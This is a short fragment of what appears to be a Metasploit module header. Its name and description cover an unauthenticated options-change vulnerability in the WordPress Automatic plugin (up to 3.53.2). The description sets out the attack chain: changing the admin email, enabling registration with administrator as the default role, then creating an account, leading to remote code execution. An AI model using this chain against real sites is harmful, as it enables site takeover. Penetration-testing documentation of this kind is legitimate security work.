'Name' => 'WordPress Plugin Automatic Config Change to RCE',
'Description' => %q{
This module exploits an unauthenticated arbitrary wordpress options change vulnerability
in the Automatic (wp-automatic) plugin <= 3.53.2. If WPEMAIL is provided, the administrator's email
address will be changed. User registration is
enabled, and default user role is set to administrator. A user is then created with
the USER name set. A valid EMAIL is required to get the registration email (not handled in MSF).
